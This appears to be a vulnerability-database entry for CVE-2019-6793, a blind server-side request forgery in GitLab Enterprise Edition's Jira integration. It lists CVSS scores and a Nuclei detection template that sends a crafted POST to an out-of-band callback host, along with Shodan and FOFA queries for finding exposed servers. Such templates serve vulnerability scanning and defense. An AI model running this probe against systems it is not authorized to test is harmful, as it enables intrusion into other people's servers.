GitLab Enterprise Edition - Server-Side Request Forgery

2024-09-2507:57:28

ProjectDiscovery

github.com

cve

cve2019

gitlab

enterprise

ssrf

jira

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

AI Score

6.5

Confidence

Low

JSON

An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.

id: CVE-2019-6793

info:
  name: GitLab Enterprise Edition - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.
  reference:
    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/50748
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 7.0
    cve-id: CVE-2019-6793
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: html:"GitLab Enterprise Edition"
    fofa-query: body="GitLab Enterprise Edition"
  tags: cve,cve2019,gitlab,enterprise,ssrf,blind

http:
  - raw:
      - |+
        POST /-/jira/login/oauth/access_token HTTP/1.1
        Host: {{interactsh-url}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "access_token="

      - type: status
        status:
          - 200
# digest: 4a0a00473045022039518855306ba1537adc6ed399ae5fed39f605b26e74a45636222e143c3ef8c40221008b72d47276fabdc7554768e64bb4480902af26378bcf4d5ca2d14e34b7af75fa:922c64590222798bb761d5b6d8e72950